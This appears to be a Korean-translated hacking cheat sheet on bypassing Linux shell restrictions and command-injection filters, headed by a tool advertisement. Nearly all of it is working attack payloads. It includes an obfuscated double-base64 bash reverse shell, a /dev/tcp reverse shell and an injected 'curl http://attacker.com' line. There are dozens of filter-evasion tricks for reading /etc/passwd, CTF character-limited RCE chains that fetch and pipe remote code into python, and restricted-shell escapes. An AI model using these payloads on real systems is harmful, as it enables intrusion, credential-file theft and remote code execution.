Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
일반적인 제한 우회
리버스 쉘
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the timeecho "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
짧은 Rev 쉘
#Trick from Dikline#Get a rev shell with(sh)0>/dev/tcp/10.10.10.10/443#Then get the out of the rev shell executing inside of it:exec>&0
우회 경로 및 금지된 단어
# Question mark binary substitution/usr/bin/p?ng# /usr/bin/pingnma?-p80localhost# /usr/bin/nmap -p 80 localhost# Wildcard(*) binary substitution/usr/bin/who*mi# /usr/bin/whoami# Wildcard + local directory argumentstouch---la# -- stops processing options after the --ls*echo*#List current files and folders with echo and wildcard# [chars]/usr/bin/n[c]# /usr/bin/nc# Quotes'p'i'n'g# ping"w"h"o"a"m"i# whoamiech''otest# echo testech""otest# echo testbas''e64# base64#Backslashes\u\n\a\m\e \-\a # uname -a/\b\i\n/////s\h# $@who$@ami#whoami# Transformations (case, reverse, base64)$(tr"[A-Z]""[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case$(a="WhOaMi";printf%s"${a,,}") #whoami -> transformation (only bash)$(rev<<<'imaohw') #whoamibash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64# Execution through $0echowhoami|$0# Uninitialized variables: A uninitialized variable equals to null (nothing)cat$u/etc$u/passwd$u # Use the uninitialized variable without {} before any symbolp${u}i${u}n${u}g# Equals to ping, use {} to put the uninitialized variables between valid characters# New linesp\i\n\g # These 4 lines will equal to ping# Fake commandsp$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shownw`u`h`u`o`u`a`u`m`u`i# Equals to whoami but 5 errors trying to execute "u" are shown# Concatenation of strings using history!-1# This will be substitute by the last command executed, and !-2 by the penultimate commandmi# This will throw an errorwhoa# This will throw an error!-1!-2# This will execute whoami
금지된 공백 우회
# {form}{cat,lol.txt}# cat lol.txt{echo,test}# echo test# IFS - Internal field separator, change " " for any other character ("]" in this case)cat${IFS}/etc/passwd# cat /etc/passwdcat$IFS/etc/passwd# cat /etc/passwd# Put the command line in a variable and then execute itIFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$bIFS=];b=cat]/etc/passwd;$b # Using 2 ";"IFS=,;`cat<<<cat,/etc/passwd`# Using cat twice# Other way, just change each space for ${IFS}echo${IFS}test# Using hex formatX=$'cat\x20/etc/passwd'&&$X# Using tabsecho"ls\x09-l"|bash# Undefined variables and !$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefineduname!-1\-a# This equals to uname -a
외부 함수를 실행할 수 없고 제한된 내장 함수만 사용하여 RCE를 얻을 수 있는 경우, 이를 우회하기 위한 유용한 트릭이 있습니다. 일반적으로 모든내장 함수를 사용할 수 없을 것이므로, 모든 옵션을 알고 감옥을 우회하려고 시도해야 합니다. devploit의 아이디어에서 영감을 받았습니다.
먼저 모든 쉘 내장 함수를 확인하십시오. 그런 다음 여기 몇 가지 추천 사항이 있습니다:
# Get list of builtinsdeclare builtins# In these cases PATH won't be set, so you can try to set itPATH="/bin"/bin/lsexport PATH="/bin"declare PATH="/bin"SHELL=/bin/bash# Hex$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")$(echo-e"\x2f\x62\x69\x6e\x2f\x6c\x73")# Inputreadaaa; exec $aaa #Read more commands to execute and execute themreadaaa; eval $aaa# Get "/" char using printf and env varsprintf%.1s"$PWD"## Execute /bin/ls$(printf%.1s"$PWD")bin$(printf%.1s"$PWD")ls## To get several letters you can use a combination of printf anddeclaredeclare functionsdeclare historywords# Read flag in current dirsourcef*flag.txt:1:commandnotfound:CTF{asdasdasd}# Read file with readwhileread-rline; doecho $line; done< /etc/passwd# Get env variablesdeclare# Get historyhistorydeclare historydeclare historywords# Disable special builtins chars so you can abuse them as scripts[ #[: ']' expected## Disable "[" as builtin and enable it as scriptenable -n [echo -e'#!/bin/bash\necho "hello!"'> /tmp/[chmod +x [export PATH=/tmp:$PATHif [ "a" ]; then echo 1; fi# Will print hello!
# A regex that only allow letters and numbers might be vulnerable to new line characters1%0a`curlhttp://attacker.com`
Bashfuscator
# From https://github.com/Bashfuscator/Bashfuscator./bashfuscator-c'cat /etc/passwd'
5글자로 RCE 실행
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration datehttp://host/?cmd=>ls\http://host/?cmd=ls>_http://host/?cmd=>\ \http://host/?cmd=>-t\http://host/?cmd=>\>ghttp://host/?cmd=ls>>_## Step2: generate `curl orange.tw|python` to file "g"## by creating the necesary filenames and writting that content to file "g" executing the previous generated filehttp://host/?cmd=>onhttp://host/?cmd=>th\http://host/?cmd=>py\http://host/?cmd=>\|\http://host/?cmd=>tw\http://host/?cmd=>e.\http://host/?cmd=>ng\http://host/?cmd=>ra\http://host/?cmd=>o\http://host/?cmd=>\ \http://host/?cmd=>rl\http://host/?cmd=>cu\http://host/?cmd=sh _# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"http://host/?cmd=shg# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/## Execute tar command over a folderhttp://52.199.204.34/?cmd=>tarhttp://52.199.204.34/?cmd=>zcfhttp://52.199.204.34/?cmd=>zzzhttp://52.199.204.34/?cmd=*%20/h*# Another curiosity if you can read files of the current folderln/f*## If there is a file /flag.txt that will create a hard link## to it in the current folder
4 글자로 RCE 실행
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands# it will follow the same principle of creating the command `ls -t>g` in a file# and then generate the full command in filenames# generate "g> ht- sl" to file "v"'>dir''>sl''>g\>''>ht-''*>v'# reverse file "v" to file "x", content "ls -th >g"'>rev''*v>x'# generate "curl orange.tw|python;"'>\;\\''>on\\''>th\\''>py\\''>\|\\''>tw\\''>e.\\''>ng\\''>ra\\''>o\\''>\ \\''>rl\\''>cu\\'# got shell'sh x''sh g'
읽기 전용/Noexec/Distroless 우회
만약 읽기 전용 및 noexec 보호 또는 distroless 컨테이너 내부에 있다면, 여전히 임의의 이진 파일을 실행하는 방법이 있습니다. 심지어 셸을 실행할 수도 있습니다!: